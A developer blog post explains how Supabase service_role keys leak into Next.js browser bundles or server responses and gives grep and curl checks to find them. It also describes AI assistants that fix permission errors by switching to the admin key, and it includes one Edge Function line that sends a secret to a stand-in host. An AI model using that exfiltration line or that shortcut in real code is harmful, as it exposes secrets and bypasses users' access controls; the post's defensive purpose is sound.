DEV Community

Cenk KURTOĞLU
Cenk KURTOĞLU

Posted on

Your Supabase service_role key is probably in your browser bundle

Row Level Security is the part everyone talks about. The service_role key is the part that makes all of it irrelevant, and it leaks more often than RLS does.

The key bypasses RLS completely. That is its job — it is the admin key for server-side work. So if it is reachable from anything the browser downloads, every policy you wrote is decoration.

Here is how it actually gets there. None of these look like mistakes while you are writing them.

1. The NEXT_PUBLIC prefix

You had a working server call. It broke in a client component. The fastest fix that makes the error go away:

NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY=eyJ...
Enter fullscreen mode Exit fullscreen mode

That prefix is not a naming convention. It is an instruction to Next.js to inline the value into the client bundle at build time. The error goes away because the key is now genuinely available in the browser — to your code, and to anyone who opens devtools.

If you have ever renamed an env var to make an error disappear, check this one first.

2. The key crossing the boundary as data, not as a bundle

First, the thing that does not leak, because it is worth being precise about. Next.js will not inline a non-public env var into the browser bundle. From the docs: "Non-NEXT_PUBLIC_ environment variables are only available in the Node.js environment, meaning they aren't accessible to the browser."

So this, on its own, is fine, even if a client component imports something else from the same file:

// lib/db.ts
const admin = createClient(url, process.env.SUPABASE_SERVICE_ROLE_KEY!)
Enter fullscreen mode Exit fullscreen mode

What leaks is handing the value across the boundary yourself. A Server Component that passes it down as a prop puts it in the RSC payload, and the RSC payload is sent to the browser:

// app/page.tsx  (Server Component)
export default async function Page() {
  return <Widget apiKey={process.env.SUPABASE_SERVICE_ROLE_KEY!} />
}
Enter fullscreen mode Exit fullscreen mode

A 'use client' on Widget is all it takes. The value is serialized into the flight response, and it will not appear in a grep of your static chunks, because it was never bundled. It was rendered.

The same goes for a key that was never an env var. A literal pasted into a config object during setup is just a string in a module, so if anything on the client imports that module, it ships.

3. An API route that echoes config

A debug endpoint someone added during setup and never removed:

export async function GET() {
  return Response.json({ env: process.env })
}
Enter fullscreen mode Exit fullscreen mode

It was useful for ten minutes. It is now a public endpoint that returns every secret the process can see.

4. Generated code that "used the key that worked"

When an assistant is asked to fix a permission error, one reliable way to make the error stop is to use the key that has permission for everything. It will often do exactly that, and the resulting code works, so it passes review. Nothing in the diff says "this bypasses your entire security model".

How to check, in about a minute

Build, then grep the output:

npm run build
grep -r "service_role" .next/static/ 2>/dev/null
grep -rE "eyJ[A-Za-z0-9_-]{20,}" .next/static/ | head
Enter fullscreen mode Exit fullscreen mode

Supabase keys are JWTs, so they start with eyJ. If anything comes back from .next/static, it is in the browser bundle.

That grep will not catch case 2, because a rendered value was never bundled. For that one you have to look at what the server actually sends:

npm run start
curl -s http://localhost:3000/ | grep -oE "eyJ[A-Za-z0-9_-]{20,}"
Enter fullscreen mode Exit fullscreen mode

Do that for any route that renders a client component with props coming from server-side config. The anon key showing up here is expected and fine. Anything else is not.

Also check what you actually ship publicly:

grep -o "NEXT_PUBLIC_[A-Z_]*" .env* | sort -u
Enter fullscreen mode Exit fullscreen mode

Read that list out loud. Anything on it is public. That is the whole meaning of the prefix.

And check for the echo case:

grep -rn "process.env" app/ pages/ --include="*.ts*" | grep -i "json\|return\|res\."
Enter fullscreen mode Exit fullscreen mode

If you find one

Rotate it first, then fix the code. In Supabase: Settings → API → roll the service_role key. Fixing the code without rotating leaves a valid key in every bundle you have already deployed, in every browser cache, and in whatever crawled your site.

Then decide whether that key was ever needed client-side at all. Almost always the answer is that the operation belongs in a route handler or a server action, using the anon key plus a policy — not the admin key anywhere near the browser.

The version of this that roles cannot fix

There is a variant worth knowing about if you work with contractors, and it is not a bug you can patch in your own code.

Supabase project roles let you invite someone who cannot view or manage secrets. That reads like a boundary. It is not one, because a member who can deploy an Edge Function decides what code runs in the process that holds those secrets, and that code can simply send them somewhere:

await fetch('https://somewhere/?k=' + Deno.env.get('STRIPE_SECRET_KEY'))
Enter fullscreen mode Exit fullscreen mode

Redacting the logs does not help, because the log was never the only exit. Deploy permission is transitively read-all-secrets permission.

I argued this in a public Supabase thread this week and their security review arrived at the same conclusion, so it is now heading toward a documentation change rather than a redaction feature: supabase/supabase#48795

The fix is not a role setting. It is that a partially trusted developer should be deploying against an environment whose secrets are test values, so "they can read everything in the environment they can deploy to" stays true and stops mattering.

Why this sits next to the RLS problem

I wrote previously about policies that pass every test and still leak. That one is subtle: the SQL is valid and the logic is wrong.

This one is the opposite. It is not subtle at all, it just never gets looked at, because the app works. Both share a property that makes them expensive: your test suite goes green either way, and green reads as safe.


Run the greps above before anything else. They take a minute and they are the cheapest security work you will ever do.

If you want the full list I run before shipping, it is a free PDF with no email wall: Next.js + Supabase: 10 checks before production

The reproduction of the RLS one is free and MIT — same test suite, red on one branch and green on the other, about two seconds, no Docker and no credentials: supabase-rls-leak-demo

And so I am not being coy about it: I sell a $29 kit that packages the same audit as seven commented SQL files you run against your own catalogs, plus a 60-check workflow and report templates. Run Supabase's free linter and the greps first — if they come back clean, you are done and you have spent nothing.

Top comments (0)